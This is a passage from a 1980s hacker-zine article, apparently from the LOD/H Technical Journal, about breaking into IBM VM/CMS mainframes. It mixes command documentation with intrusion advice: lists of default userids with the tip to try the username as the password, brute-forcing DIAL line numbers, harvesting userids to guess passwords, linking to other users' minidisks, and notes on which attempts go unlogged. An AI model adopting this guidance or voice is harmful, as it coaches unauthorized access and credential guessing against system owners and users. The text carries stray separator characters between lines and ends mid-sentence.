than the commands listed in the menu, ie: entering BONEHEAD will return this
|
|||
|
message even though "BONEHEAD" isn't a valid command. Why this is I don't know.
|
|||
|
So don't get all excited that you found a valid command but couldn't execute it
|
|||
|
since you weren't logged on.
|
|||
|
|
|||
|
|
|||
|
Accounts:
|
|||
|
|
|||
|
By constantly compiling userids from various systems you should be able to
|
|||
|
collect a nice list of accounts which may enable you to gain access to a
|
|||
|
system. The following are a few which I have found:
|
|||
|
|
|||
|
OPERATOR
|
|||
|
CMSBATCH
|
|||
|
AUTOLOG1
|
|||
|
OPERATNS
|
|||
|
VMTEST
|
|||
|
VMUTIL
|
|||
|
MAINT
|
|||
|
SMART
|
|||
|
VTAM
|
|||
|
EREP
|
|||
|
RSCS
|
|||
|
CMS
|
|||
|
SNA
|
|||
|
|
|||
|
As usual, use the username as the password. Things still haven't changed from
|
|||
|
the Hacking VAX/VMS series...people are just as stupid as they were a few years
|
|||
|
ago.
|
|||
|
|
|||
|
There are many default accounts which have the passwords listed in some IBM
|
|||
|
system manuals. These are hard to obtain and are very powerful since some
|
|||
|
passwords are rarely changed. If you can get access to the defaults, it will
|
|||
|
greatly expand your collection of systems, I guarantee it.
|
|||
|
|
|||
|
|
|||
|
Dial:
|
|||
|
|
|||
|
DIAL is used to logically connect lines, whether they be switched (regular
|
|||
|
dial-up phone lines), leased (dedicated), or logically attached (directly
|
|||
|
connected), to a previously logged on multiple-access system. The DIAL command
|
|||
|
is the only substitute for the logon command. On systems running more than one
|
|||
|
Operating System, DIAL is used to connect the user to one of those systems.
|
|||
|
It is rather common to find two or more Operating Systems running parallel or
|
|||
|
"under" one another. This is quite different from most other systems, which run
|
|||
|
alone on the machine. One machine, one Operating System, but not IBM. The
|
|||
|
ability to have multiple systems running simultaneously and still providing the
|
|||
|
user with the illusion of it being a single system, (ie: the whole idea behind
|
|||
|
multi-tasking machines is to provide each user with the full resources of the
|
|||
|
machine so quickly that it appears that he or she is the only one using the
|
|||
|
system) sets IBM apart from most other computer manufacturers. Some of the
|
|||
|
systems which run on IBM's are: VM/CMS, MVS/TSO, DOS/VSE, OS/VS1. Some others
|
|||
|
are: MUSIC, JES and IX/370 which is IBM's version of UNIX which runs under
|
|||
|
VM/SP.
|
|||
|
|
|||
|
It is always good to know what other systems are running, and if you are unable
|
|||
|
to gain access to the 'primary' system, you may be able to gain access to one
|
|||
|
of the 'secondary' system(s) by use of DIAL. Some systems will require you to
|
|||
|
specify a line number for certain systems. Others will find a line for you if
|
|||
|
one is not specified, assuming there are some allocated to that resource.
|
|||
|
Userid's are also dialable. In some cases you have to dial through a particular
|
|||
|
userid in order to gain access to certain systems or perform certain commands.
|
|||
|
A typical logon to a DIALed system may look like:
|
|||
|
|
|||
|
.DIAL MUSICB
|
|||
|
|
|||
|
DIALED TO MUSICB 040
|
|||
|
|
|||
|
*Miscellaneous Computer Services MUSIC/SP 1.1 SIGN ON.
|
|||
|
|
|||
|
.RESET
|
|||
|
|
|||
|
DROP FROM MUSICB 040
|
|||
|
|
|||
|
VM/370
|
|||
|
!
|
|||
|
|
|||
|
.
|
|||
|
|
|||
|
When it comes to finding a valid line number for systems that can be reached
|
|||
|
via DIAL, you could be in for some trouble. If the system requires a line
|
|||
|
number to be entered (unlike the above example, where line 040 was found
|
|||
|
automatically) you will not only have to come up with a defined line number,
|
|||
|
but one that is associated with the system you are attempting to access.
|
|||
|
Usually you can find this information after logging on to the VM/CMS system in
|
|||
|
various files, but if you cannot get in, you will have to sequentially enter
|
|||
|
line numbers. Some that I have seen are 001, 01B, 41A, 040.
|
|||
|
|
|||
|
The VM/CMS system does not appear to limit the number of DIAL attempts a user
|
|||
|
can make, unlike LOGON attempts. Programming your micro to search for a valid
|
|||
|
line number to a system should work with no problem.
|
|||
|
|
|||
|
To drop the dialed connection just type RESET.
|
|||
|
|
|||
|
Error Messages:
|
|||
|
|
|||
|
"Line(s) not available on 'sysname'.": Either there are no lines allocated to
|
|||
|
the system, or you must enter a correct line number.
|
|||
|
|
|||
|
"Invalid device type - 'sysname' 'line#': You have entered a valid system or
|
|||
|
userid and line number, but the device you are on (the terminal) is invalid. In
|
|||
|
this case, a GRAF (Graphics) device, system console or 3270 terminal may be the
|
|||
|
only valid device.
|
|||
|
|
|||
|
"'userid' not logged on": The DIAL command cannot be executed unless the user
|
|||
|
(or system) specified is logged on.
|
|||
|
|
|||
|
"'line#' does not exist": A valid userid/system has been entered but the line
|
|||
|
number for that userid/system is not valid.
|
|||
|
|
|||
|
|
|||
|
Message:
|
|||
|
|
|||
|
MSG is used to send messages to users who are currently logged on. This command
|
|||
|
can be issued before (if specified by the logon menu) and after logging in.
|
|||
|
|
|||
|
MSG OPERATOR Help! I lost my password! My userid is COMOSOLO
|
|||
|
|
|||
|
This will send a message to the primary system operator of the system. If there
|
|||
|
is only one CLASS A user online, the message will be sent to his terminal.
|
|||
|
|
|||
|
MSG *
|
|||
|
|
|||
|
This will send a message to yourself. This is useful for identifying the
|
|||
|
current userid of an abandoned terminal.
|
|||
|
|
|||
|
|
|||
|
Logoff:
|
|||
|
|
|||
|
The LOGOFF command can be abbreviated as LOG. After logging off you will
|
|||
|
receive the following:
|
|||
|
|
|||
|
CONNECT= 00:33:54 VIRTCPU= 000:00.28 TOTCPU= 000:01.76
|
|||
|
LOGOFF AT 17:05:44 EST THURSDAY 04/16/87
|
|||
|
|
|||
|
CONNECT is the actual clock time you spent while on the system.
|
|||
|
VIRTCPU is the virtual CPU time that was used.
|
|||
|
TOTCPU is the total CPU time both virtual and overhead that was used.
|
|||
|
|
|||
|
|
|||
|
The HOLD command will hold the connection allowing you to re-logon again
|
|||
|
without having to re-dial the system.
|
|||
|
|
|||
|
.LOG HOLD
|
|||
|
|
|||
|
|
|||
|
SECURITY SOFTWARE:
|
|||
|
------------------
|
|||
|
|
|||
|
There are various weaknesses within VM/CMS both internally and externally which
|
|||
|
can be exploited. For this reason, various software security packages have been
|
|||
|
written. There would not be a need for these in most cases if the people in
|
|||
|
charge of system security knew what they were doing. Anyhow, these packages do
|
|||
|
provide added security when properly implemented. The most commonly found are
|
|||
|
VMSECURE and ACF2. TOP SECRET and RACF are others which are less common. These
|
|||
|
packages are easily identified.
|
|||
|
|
|||
|
After entering a valid userid VMSECURE responds with:
|
|||
|
|
|||
|
VMXACI104R Enter logon password:
|
|||
|
**************************
|
|||
|
HHHHHHHHHHHHHHHHHHHHHHHHHH
|
|||
|
SSSSSSSSSSSSSSSSSSSSSSSSSS
|
|||
|
.
|
|||
|
|
|||
|
|
|||
|
One way to positively identify the use of VMSECURE is by using it as a userid.
|
|||
|
If it is running it will be a valid userid, and who knows, you may even hack
|
|||
|
the password.
|
|||
|
|
|||
|
|
|||
|
After entering a bad password ACF2 (Access Control Faclity 2) responds with:
|
|||
|
|
|||
|
ACFV1012 PASSWORD NOT MATCHED
|
|||
|
ACFV0044 ACF2, ENTER PASSWORD
|
|||
|
|
|||
|
**************************
|
|||
|
HHHHHHHHHHHHHHHHHHHHHHHHHH
|
|||
|
SSSSSSSSSSSSSSSSSSSSSSSSSS
|
|||
|
.
|
|||
|
|
|||
|
These packages provide information which SHOULD be inherent within the
|
|||
|
Operating System itself. Perhaps newer versions of CMS will contain them. Some
|
|||
|
of these features are:
|
|||
|
|
|||
|
* Last logon date/time
|
|||
|
* Password expiration
|
|||
|
* Rules for password selection
|
|||
|
* Invalidating userids for invalid password attempts
|
|||
|
* Invalidating terminals for invalid password attempts
|
|||
|
* Shows users how many invalid password attempts have occured on their userid
|
|||
|
* Increased file security
|
|||
|
|
|||
|
|
|||
|
LOGGED ON:
|
|||
|
----------
|
|||
|
|
|||
|
After logging on you may receive something similar to the following:
|
|||
|
|
|||
|
ASD 190 LINKED R/O; R/W BY MAINT; R/O BY 030 USERS
|
|||
|
|
|||
|
LOGMSG - 10:40:25 EST FRIDAY 05/22/87
|
|||
|
|
|||
|
*********************************************************************
|
|||
|
* WELCOME TO MISCELLANEOUS COMPUTER SERVICES *
|
|||
|
* -VM1- *
|
|||
|
* SYSTEM WILL BE DOWN FROM 10:00 TO 10:30 EST SUNDAY MAY 24, 1987 *
|
|||
|
*********************************************************************
|
|||
|
Logon at 13:22:59 EST FRIDAY 05/22/87
|
|||
|
VM/SP REL 4 04/20/86 11:33
|
|||
|
|
|||
|
R; T=0.01/0.01 13:23:10
|
|||
|
.
|
|||
|
|
|||
|
Line #1: This line shows that the disk at virtual address 190 is linked with
|
|||
|
R/O access by you, R/W by userid MAINT and R/O by another 30 users.
|
|||
|
|
|||
|
Line #2: This shows that the logon message was created at 10:40 on Friday.
|
|||
|
|
|||
|
Line #3-7:This is the message that is shown to all users of the system upon
|
|||
|
logging on. Some systems may not have one.
|
|||
|
|
|||
|
Line #8: The actual time of logon is printed.
|
|||
|
|
|||
|
Line #9: The current RELEASE of VM/SP and the time and date it was installed
|
|||
|
is shown.
|
|||
|
|
|||
|
Line #10: This is the ready message and it is printed after every command is
|
|||
|
performed where:
|
|||
|
|
|||
|
R= Ready This indicates that the system is ready for input.
|
|||
|
T= Time The first series of numbers tells how long it took the system to
|
|||
|
perform the last task. The second set of numbers gives the time of
|
|||
|
day.
|
|||
|
|
|||
|
|
|||
|
If you do not receive the ready message you are in CP and must IPL
|
|||
|
CMS in order to issue CMS commands.
|
|||
|
|
|||
|
Line #11: The system prompt, you can now enter commands.
|
|||
|
|
|||
|
|
|||
|
PRIVILEGE CLASSES:
|
|||
|
------------------
|
|||
|
|
|||
|
As with most other Operating Systems a user must have sufficient privileges in
|
|||
|
order to execute certain commands. Every CP command belongs to one of eight IBM
|
|||
|
defined privilege classes. The CP directory defines which users can use which
|
|||
|
classes of commands. Each user has one or more privilege classes, as does each
|
|||
|
CP command. If you try to issue a command that does not match the assigned
|
|||
|
privilege class of the userid you are using, the system will not process the
|
|||
|
command. As far as I know, no records of attempts to use privileged commands
|
|||
|
are kept.
|
|||
|
|
|||
|
|
|||
|
Class User and Function
|
|||
|
---------------------------------
|
|||
|
A Primary System Operator: The class A user has the ability to
|
|||
|
control the system. Any user who uses the VM/SP system console
|
|||
|
posseses this privilege class. This user can broadcast messages,
|
|||
|
control system accounting, and issue commands which affect the
|
|||
|
overall performance of the system.
|
|||
|
|
|||
|
B System Resource Operator: The class B user has the ability to
|
|||
|
control all the "real" resources of the system, except those
|
|||
|
controlled by the spooling and primary system operators.
|
|||
|
|
|||
|
C System Programmer: Class C users can modify real storage as
|
|||
|
opposed to virtual storage.
|
|||
|
|
|||
|
D Spooling Operator: The class D user controls spooling data
|
|||
|
files.
|
|||
|
|
|||
|
E System Analyst: Monitors and interprets system performance data.
|
|||
|
|
|||
|
F Service Representative: This class is usually given to accounts
|
|||
|
that IBM Field Service personnel use for updates and also for
|
|||
|
diagnosing system problems.
|
|||
|
|
|||
|
G General User: Class G users are the most prominent on the
|
|||
|
system. This privilege allows the user to control functions
|
|||
|
associated with their own virtual machine.
|
|||
|
|
|||
|
Any The Any classification is given to certain CP commands which are
|
|||
|
available to any user. The commands are usually limited to Login
|
|||
|
and Logoff.
|
|||
|
|
|||
|
H Class H is reserved for IBM use.
|
|||
|
|
|||
|
|
|||
|
Due to the individual needs of a site, privilege classes can be tailored to
|
|||
|
suit the facility. A total of up to 32 classes can be made. They would be
|
|||
|
shown in the CP directory as A-Z and 1-6.
|
|||
|
|
|||
|
Typical Privilege Classes for a few common userids:
|
|||
|
|
|||
|
Userid: P.C.
|
|||
|
-------------------------
|
|||
|
OPERATOR A
|
|||
|
EREP F
|
|||
|
OPERATNS BCEG
|
|||
|
MAINT ABCDEFG
|
|||
|
|
|||
|
|
|||
|
|
|||
|
COMMANDS:
|
|||
|
---------
|
|||
|
|
|||
|
Commands are made up of command names, operands, and options.
|
|||
|
|
|||
|
Command Name: A command name is an alphanumeric symbol of up to 8 characters.
|
|||
|
|
|||
|
Operands: These specify the information on which the system operates when it
|
|||
|
performs a command function.
|
|||
|
|
|||
|
Options: These keywords are used to control the execution of a command. When
|
|||
|
used, they must be preceded by a left parentheses, but a closing one is not
|
|||
|
necessary.
|
|||
|
|
|||
|
Different commands are used within different environments. To see which
|
|||
|
environment you are in, simply hit return at the period prompt. You will
|
|||
|
receive one of the following: CMS, CP, XEDIT.
|
|||
|
|
|||
|
There are many commands that are useful to both regular system users and
|
|||
|
hackers. HELP is available on some systems, particularly on university systems.
|
|||
|
It is extensive but not as clear as yes, UNIX or VMS which is typical of IBM.
|
|||
|
Nevertheless, HELP is useful and you should get hardcopies of as many commands
|
|||
|
as you can. AID is another form of HELP which may be useful to you in learning
|
|||
|
more about the system.
|
|||
|
|
|||
|
One nice feature of CMS HELP is that when you receive an error message, you
|
|||
|
can:
|
|||
|
|
|||
|
.HELP DMS000000 or DMK000000
|
|||
|
|
|||
|
Where DMS000000 or DMK000000 is the error message you have received. The system
|
|||
|
will then explain what it is, why it happened and how you can correct it.
|
|||
|
|
|||
|
I am going to hold off on explaining any and all commands related to minidisks
|
|||
|
until the next section. The others which I have found to be useful are as
|
|||
|
follows.
|
|||
|
|
|||
|
You can issue any CP command while in CMS by precluding the command with CP.
|
|||
|
|
|||
|
|
|||
|
QUERY
|
|||
|
|
|||
|
Query allows you to obtain various information about the system. A full list
|
|||
|
can be found from using HELP.
|
|||
|
|
|||
|
One of the most important QUERY commands to the hacker is:
|
|||
|
|
|||
|
.Q NAMES
|
|||
|
|
|||
|
OPERATOR - 01F, SMART - DSC, CMS0349 - B27, LOGO0180 - B31
|
|||
|
VSM - VMVS1
|
|||
|
SCOTT -TP11WFM2, CMS1211 -TP11WF64, OPERATNS-TP11WFY1
|
|||
|
R; T-0.01/0.01 11:34:28
|
|||
|
|
|||
|
There can be many users online, usually this list will contain from 30 to 100
|
|||
|
users. The last user online was OPERATNS, since it was last in the list. The
|
|||
|
SMART userid is DSC, or in a disconnected state. Usually a terminal will
|
|||
|
remain disconnected for 15 to 30 minutes and then is totally logged off the
|
|||
|
system. If you logon to an already disconnected terminal, the system will reply
|
|||
|
with "RECONNECTED AT time". The other 2 userids on the same line as SMART are
|
|||
|
probably connected terminals which are in a pre-logged in or pending logon
|
|||
|
state. VSM - VMVS1 is another system running parallel to (or under) CMS.
|
|||
|
|
|||
|
The QUERY NAMES command allows you to gain a little more security for yourself
|
|||
|
on the system. It allows you to gain more valid usernames to attempt passwords
|
|||
|
for in the unfortunate event that your current userid dies. Another use is that
|
|||
|
you can start to compile your "common accounts" list of userids which are found
|
|||
|
on VM/CMS systems. This list should get larger and larger as you gain access to
|
|||
|
more and more systems and will allow you to gain access to more systems as it
|
|||
|
gets larger.
|
|||
|
|
|||
|
|
|||
|
If you can't count how many users are online from the Q NAMES list:
|
|||
|
|
|||
|
.Q USERS
|
|||
|
|
|||
|
0007 USERS, 0000 DIALED, 0000 NET
|
|||
|
|
|||
|
|
|||
|
If you didn't catch the logon message you can view it again by:
|
|||
|
|
|||
|
.Q LOGMSG
|
|||
|
|
|||
|
|
|||
|
To see what release of CMS the system is:
|
|||
|
|
|||
|
.Q CMSLEVEL
|
|||
|
|
|||
|
VM/SP REL. 4, SERVICE LEVEL 417
|
|||
|
|
|||
|
If you are wondering which IBM mainframe CMS is running on, you can issue:
|
|||
|
|
|||
|
.Q CPUID
|
|||
|
FF01472343810000
|
|||
|
|
|||
|
This can be interpreted as follows:
|
|||
|
|
|||
|
CPUID= aabbbbbbccccdddd
|
|||
|
|
|||
|
aa= "FF" when running VM/SP
|
|||
|
bbbbbb= The processor ID number
|
|||
|
cccc= The model number of the system. In the above case, CMS is running on
|
|||
|
an IBM 4381 system.
|
|||
|
dddd= "0000" This is not used for CP.
|
|||
|
|
|||
|
|
|||
|
SENDFILE allows you to send files within any minidisk that is currently
|
|||
|
accessed by you to another user. Anytime you send a file an entry is made in
|
|||
|
the file USERID NETLOG (where USERID is the user you are sending the file to).
|
|||
|
This command is also used for sending NOTE files which can be created with an
|
|||
|
editor and send to whomever as E-MAIL.
|
|||
|
|
|||
|
If you are tired of seeing a text listing, or have attempted to read a compiled
|
|||
|
program and wish to exit or break out of it, simply hit a hard-break, and then
|
|||
|
type HX. HX is for Halt eXecution. It will halt whatever you are doing and put
|
|||
|
you back into the CMS environment. It may take a few lines of text after
|
|||
|
entering it for the system to stop the process.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
--- End of Part A ---
|
|||
|
--- Attach Part B here ---
|
|||
|
|
|||
|
The LOD/H Technical Journal: File #9 of 10
|
|||
|
|
|||
|
|
|||
|
Hacking IBM's VM/CMS Operating System
|
|||
|
PART B
|
|||
|
|
|||
|
Command Interpretation Chart: The following chart will compare the commands
|
|||
|
used on VAX/VMS, UNIX, and VM/CMS to allow those who are familiar with the
|
|||
|
other Operating Systems to quickly reference its CMS counterpart.
|
|||
|
|
|||
|
+-----------------+---------------+----------------------+--------------------+
|
|||
|
! VAX/VMS ! UNIX ! VM/CMS ! SHORT EXPLANATION !
|
|||
|
+-----------------+---------------+----------------------+--------------------+
|
|||
|
! /NOCOMMAND ! *****NONE**** ! NOIPL ! aborts login pgm !
|
|||
|
+-----------------+---------------+----------------------+--------------------+
|
|||
|
! SHOW USERS ! WHO ! QUERY NAMES ! online userlisting !
|
|||
|
+-----------------+---------------+----------------------+--------------------+
|
|||
|
! DIRECTORY ! LS ! LISTFILE or FILELIST ! show current dir. !
|
|||
|
+-----------------+---------------+----------------------+--------------------+
|
|||
|
! TYPE filename ! CAT filename ! TYPE fname ftype fm ! list or view files !
|
|||
|
+-----------------+---------------+----------------------+--------------------+
|
|||
|
! EDIT ! ED or VI or EX! XEDIT ! system editor !
|
|||
|
+-----------------+---------------+----------------------+--------------------+
|
|||
|
! DELETE filename ! REMOVE filenme! ERASE fname ftype fm ! deletes files !
|
|||
|
+-----------------+---------------+----------------------+--------------------+
|
|||
|
! PHONE username ! WRITE user ! TELL userid ! user communication !
|
|||
|
+-----------------+---------------+----------------------+--------------------+
|
|||
|
! Control-Y ! Ctrl-Backslash! Hard-break then HX ! aborts process !
|
|||
|
+-----------------+---------------+----------------------+--------------------+
|
|||
|
|
|||
|
Corresponding files:
|
|||
|
|
|||
|
+-----------------+---------------+--------------+----------------------------+
|
|||
|
! SYSUAF.DAT ! /ETC/PASSWD ! USER DIRECT ! Userlist & user information!
|
|||
|
! MAIL.TXT ! USR/MAIL/user ! USERID NOTE ! Electronic mail files !
|
|||
|
! LOGIN.COM ! .PROFILE ! PROFILE EXEC ! User login command files !
|
|||
|
+---------------------------------+--------------+----------------------------+
|
|||
|
|
|||
|
|
|||
|
Local Commands:
|
|||
|
---------------
|
|||
|
|
|||
|
Local commands are commands written for an individual system. They are
|
|||
|
customized commands that suit a facilities' needs. These commands are execs
|
|||
|
which are either not available from IBM or are cheaper to write on their
|
|||
|
own. I will mention a few which may be found on other systems, as these are
|
|||
|
rather common.
|
|||
|
|
|||
|
WHOIS
|
|||
|
|
|||
|
This command gives a little information about the users that you specify which
|
|||
|
are on the system.
|
|||
|
|
|||
|
.WHOIS MAINT BACKUP MAILER BUBBA RELAY VMUTIL
|
|||
|
|
|||
|
Userid Name
|
|||
|
--------- ---------
|
|||
|
MAINT System Maintenance Account
|
|||
|
BACKUP VM System Backup and Recovery Machine
|
|||
|
MAILER BITNET Inter-Node Mail Processing Machine
|
|||
|
BUBBA Bubba B. Bonehead - Programmer/Analyst Extroadinaire
|
|||
|
RELAY BITNET Internet Chat Facility
|
|||
|
VMUTIL VM Utilization Statistics
|
|||
|
|
|||
|
|
|||
|
|
|||
|
SYSPASS
|
|||
|
READPW
|
|||
|
WRITEPW
|
|||
|
|
|||
|
In most cases, the only way to change a users' password is by having the system
|
|||
|
operator or someone with high privileges do it. This is one reason why many
|
|||
|
passwords remain the same for long periods of time. These programs allow users
|
|||
|
to change their logon password, read access minidisk password and write access
|
|||
|
minidisk password respectively. Perhaps you will find these or similar programs
|
|||
|
on some systems.
|
|||
|
|
|||
|
|
|||
|
Privileged Commands:
|
|||
|
--------------------
|
|||
|
|
|||
|
As far as I know, there is no command to determine which privilege class the
|
|||
|
userid you are abusing is. The only way is to check in the CP Directory for it.
|
|||
|
The following are some privileged commands and what privilege class is needed
|
|||
|
to run them. Again, as far as I know, the system keeps no records of failed
|
|||
|
attempts at running privileged commands. Use of these commands are most likely
|
|||
|
recorded, has a msg sent to the system console or both, especially when using
|
|||
|
FORCE.
|
|||
|
|
|||
|
|
|||
|
FORCE userid (Class A)
|
|||
|
|
|||
|
This command will forcibly log off the userid you specify. I really can see
|
|||
|
no reason other than to be a total asshole for abusing this command.
|
|||
|
|
|||
|
DISABLE raddr (or) all (Class A or B)
|
|||
|
|
|||
|
This is used to prevent specific terminals or all terminals from logging onto
|
|||
|
the system. Again, there is no real reason to use this or most other privileged
|
|||
|
commands for that matter unless you want to be kicked off of the machine. If
|
|||
|
you do DISABLE a terminal, simply use ENABLE to repair the damage.
|
|||
|
|
|||
|
DETACH realaddr (FROM) whatever (Class B)
|
|||
|
|
|||
|
This is used to detach real devices from the system. These can be terminals,
|
|||
|
printers, disk packs, tape drives, etc. You must know the real address of the
|
|||
|
device, and 'whatever' can be the system, or a userid.
|
|||
|
|
|||
|
WARNING userid (or) operator or all (Class A or B)
|
|||
|
|
|||
|
Warning will send a priority message to a user, operator or all users on the
|
|||
|
system. It will interrupt anything they happen to be doing. Obviously sending
|
|||
|
a msg to all users stating they are BONEHEADS is not recommended.
|
|||
|
|
|||
|
|
|||
|
MINIDISKS:
|
|||
|
----------
|
|||
|
|
|||
|
A minidisk is a subdivision of consecutive cylinders on a real DASD volume. The
|
|||
|
real DASD device, is the actual disk the information is stored on. This can be
|
|||
|
compared to a hard drive for an IBM PC. Before the drive can be used, it must
|
|||
|
be formatted. Once formatted, it is divided up into directories which are
|
|||
|
minidisks. Each minidisk is a number of cylinders which is the standard memory
|
|||
|
storage unit. There can be many minidisks on a DASD. Associated with each CMS
|
|||
|
disk, is a file directory, which contains an entry for every CMS file on the
|
|||
|
disk. A minidisk can be defined for R/W or R/O access. It can also be used for
|
|||
|
temporary or permanant storage of files. Each minidisk has a virtual address.
|
|||
|
Virtual addresses can be from 001-5FF (hexidecimal) in basic control mode, and
|
|||
|
001-FFF in ECMODE (Extended Control Mode).
|
|||
|
|
|||
|
CMS minidisks can be accessed according to a letter of the alphabet (A-Z). In
|
|||
|
order to better explain this, lets assume we are logged onto a VM/CMS system
|
|||
|
under the userid of JOE and we want to see what minidisks we have access to.
|
|||
|
We use the QUERY SEARCH command to determine which disks we are ATTACHed to.
|
|||
|
|
|||
|
.Q SEARCH
|
|||
|
|
|||
|
JOE001 191 A R/W
|
|||
|
JOE002 192 D R/O
|
|||
|
CMS190 190 S R/O
|
|||
|
CMS19E 19E Y/S R/O
|
|||
|
|
|||
|
|
|||
|
As can be seen each minidisk has a volume name, virtual address, filemode,
|
|||
|
and access mode. The A disk is the default. Most accounts you gain access with
|
|||
|
will have an A disk with a virtual address of 191. The S disk is the System
|
|||
|
disk. This contains the files and programs for running the system. The same
|
|||
|
goes for the Y disk. The D disk is another disk used by JOE.
|
|||
|
|
|||
|
You can view what each of these directories contains by issueing the LISTFILE
|
|||
|
command.
|
|||
|
|
|||
|
.LISTF
|
|||
|
|
|||
|
BUBBA NOTE A1
|
|||
|
MISC WHATEVER A1
|
|||
|
PROFILE EXEC A0
|
|||
|
|
|||
|
|
|||
|
This is a list of files on the A disk. The first column is the Filename the
|
|||
|
second is the Filetype and the third is the filemode. Filenames can be anything
|
|||
|
you specify. Filetypes can also be anything you specify, but commonly follow a
|
|||
|
pattern which tells what type of file it is. Filemodes are comprised of a
|
|||
|
filemode letter (A-Z) and a filemode number (0-6).
|
|||
|
|
|||
|
Filenames can contain the following characters: A-Z 0-9 $ # + - : ` U
|
|||
|
|
|||
|
Here is an explanation of common filetypes:
|
|||
|
|
|||
|
Filetype ! Description
|
|||
|
---------+-------------
|
|||
|
DATA ! Data for programs or simply TYPE-able text.
|
|||
|
EXEC ! User written programs or IBM procedures written in REXX.
|
|||
|
HELP ! System HELP files.
|
|||
|
HELPCMS ! System HELP files.
|
|||
|
LANGUAGE ! One of the langauges that the system supports, such as ASSEMBLE,
|
|||
|
! COBOL, FORTRAN, JCL, REXX, PL1, SNOBALL, BINARY, ETC.
|
|||
|
LISTING ! Program source code listings
|
|||
|
LOADLIB ! Loading Library
|
|||
|
MACLIB ! Macro Library
|
|||
|
MODULE ! System commands
|
|||
|
NETLOG ! Contains a list of all files which have been SENT to other users.
|
|||
|
NOTE ! Similar to E-MAIL on other systems, a note sent from another user.
|
|||
|
SOURCE ! SOURCE code for various programs.
|
|||
|
TEXT ! Text file. Probably used for programs and when TYPEd yields little.
|
|||
|
TXTLIB ! Text Library
|
|||
|
WHATEVER ! A nonstandard filetype which will probably be somewhat descriptive
|
|||
|
! of its contents.
|
|||
|
XEDIT ! A file which was created using the XEDIT utility.
|
|||
|
|
|||
|
|
|||
|
Both filenames and filetypes must not exceed 8 characters in length.
|
|||
|
|
|||
|
|
|||
|
Filemodes:
|
|||
|
|
|||
|
Filemode numbers are classified as follows:
|
|||
|
|
|||
|
Filemode 0 There is little file security on VM/CMS. This may be due to the
|
|||
|
fact that directory security is very good. A file with a mode of
|
|||
|
zero makes that file invisible to other users unless they have
|
|||
|
Read/Write access to that disk. When you LINK to someones' disk
|
|||
|
in Read/Only mode and get a directory listing, files with a mode
|
|||
|
of 0 will not be listed.
|
|||
|
|
|||
|
Filemode 1 This is the default filemode. When reading or writing files, you
|
|||
|
do not have to specify a filemode letter of 1 (unless you want
|
|||
|
to) since it will default to it.
|
|||
|
|
|||
|
Filemode 2 This is basically the same as a filemode of 1. It is mainly
|
|||
|
assigned to files which are shared by users who link to a common
|
|||
|
disk, like the system disk.
|
|||
|
|
|||
|
Filemode 3 Be careful when you see these! These are erased after they have
|
|||
|
been read. If a file with a mode of 3 is printed or read it will
|
|||
|
be erased. Blindly reading files without paying attention to
|
|||
|
the filemode numbers can shorten your stay on the system. The
|
|||
|
main reason for this filemode is for the files or programs which
|
|||
|
are unimportant or have one time use can be automatically deleted
|
|||
|
to keep disk space and maintenance to a minimum.
|
|||
|
|
|||
|
Filemode 4 This is used for files that are to simulate OS data sets. They are
|
|||
|
created by OS macros in programs running in CMS. I have not found
|
|||
|
any files with this filemode, so for the time being, you should
|
|||
|
not be concerned about it.
|
|||
|
|
|||
|
Filemode 5 This is basically the same as filemode 1. It is different in that
|
|||
|
its used for groups of files or programs. It makes it easier for
|
|||
|
deleting files a user wants to keep for a certain period of time.
|
|||
|
You could just enter:
|
|||
|
|
|||
|
ERASE * * A5
|
|||
|
|
|||
|
Now all files on the A disk with a filemode of 5 will be deleted.
|
|||
|
|
|||
|
Filemode 6 Files with this mode are re-written back to disk in the same place
|
|||
|
which is called "update-in-place". I have no idea why this would
|
|||
|
be specified, and have not found any files with a filemode of 6.
|
|||
|
|
|||
|
|
|||
|
Filemode 7-9 These are reserved for IBM use.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Look back to our Q Search listing. If you want to see what is on the D disk:
|
|||
|
|
|||
|
.LISTF * * D
|
|||
|
|
|||
|
NOTMUCH ONHERE D1
|
|||
|
|
|||
|
In this case, the D disk only contains 1 file called NOTMUCH with a filetype of
|
|||
|
ONHERE. But do not forget the fact that you only have Read/Only access to the
|
|||
|
D minidisk! So there may or maynot be merely 1 file on the D disk. Remember all
|
|||
|
filemodes of 0 (which in this case would be D0) are invisible to anyone who
|
|||
|
does not posses Read/Write access.
|
|||
|
|
|||
|
You can access any disk that you are ATTACHed to by replacing the D in the
|
|||
|
above example with the filemode letter (A-Z) you want to access. As was shown
|
|||
|
previously, the QUERY SEARCH command will give you a list of minidisks that
|
|||
|
your userid is attached to upon logging in. These command statements are
|
|||
|
usually found in your PROFILE EXEC.
|
|||
|
|
|||
|
|
|||
|
So you can access a few minidisks. There may be hundreds on the system. Unlike
|
|||
|
UNIX and VMS, and most other Operating Systems for that matter you cannot issue
|
|||
|
a command and some wildcard characters to view the contents of every users'
|
|||
|
directory. In order to access another users' directory (minidisk) you must have
|
|||
|
the following:
|
|||
|
|
|||
|
1) The USERID of the person whose disk you wish to access.
|
|||
|
|
|||
|
2) The virtual address(es) (CUU) that the USERID owns.
|
|||
|
|
|||
|
3) The Read, Write, or Multi disk access password, depending on which
|
|||
|
access mode you wish to use.
|
|||
|
|
|||
|
This would be accomplished by the following:
|
|||
|
|
|||
|
|
|||
|
.LINK TO BUBBA 191 AS 555 RR
|
|||
|
|
|||
|
Enter READ link password:
|
|||
|
*************************
|
|||
|
HHHHHHHHHHHHHHHHHHHHHHHHH
|
|||
|
SSSSSSSSSSSSSSSSSSSSSSSSS
|
|||
|
.RBUBBA
|
|||
|
|
|||
|
R; T=0.01/0.01 21:58:48
|
|||
|
.ACCESS 555 B
|
|||
|
|
|||
|
R; T=0.01/0.01 21:59:03
|
|||
|
.Q SEARCH
|
|||
|
|
|||
|
JOE001 191 A R/W
|
|||
|
BUB001 555 B R/O
|
|||
|
JOE002 192 D R/O
|
|||
|
CMS190 190 S R/O
|
|||
|
CMS19E 19E Y/S R/O
|
|||
|
|
|||
|
.LISTF * * B
|
|||
|
|
|||
|
MISCFILE DATA B1
|
|||
|
PROFILE EXEC B1
|
|||
|
|
|||
|
.REL 555
|
|||
|
|
|||
|
R; T=0.01/0.01 22:02:01
|
|||
|
|
|||
|
Now an explanation for the events which have just occured.
|
|||
|
|
|||
|
The LINK command is used to access other users' minidisks. The format is:
|
|||
|
|
|||
|
.LINK (TO) USERID VADDR1 (AS) VADDR2 (MODE) ((PASS=)PASSWORD)
|
|||
|
|
|||
|
BUBBA is the USERID whose disk we wish to access.
|
|||
|
|
|||
|
VADDR1 is a virtual address which belongs to the BUBBA userid. If BUBBA was to
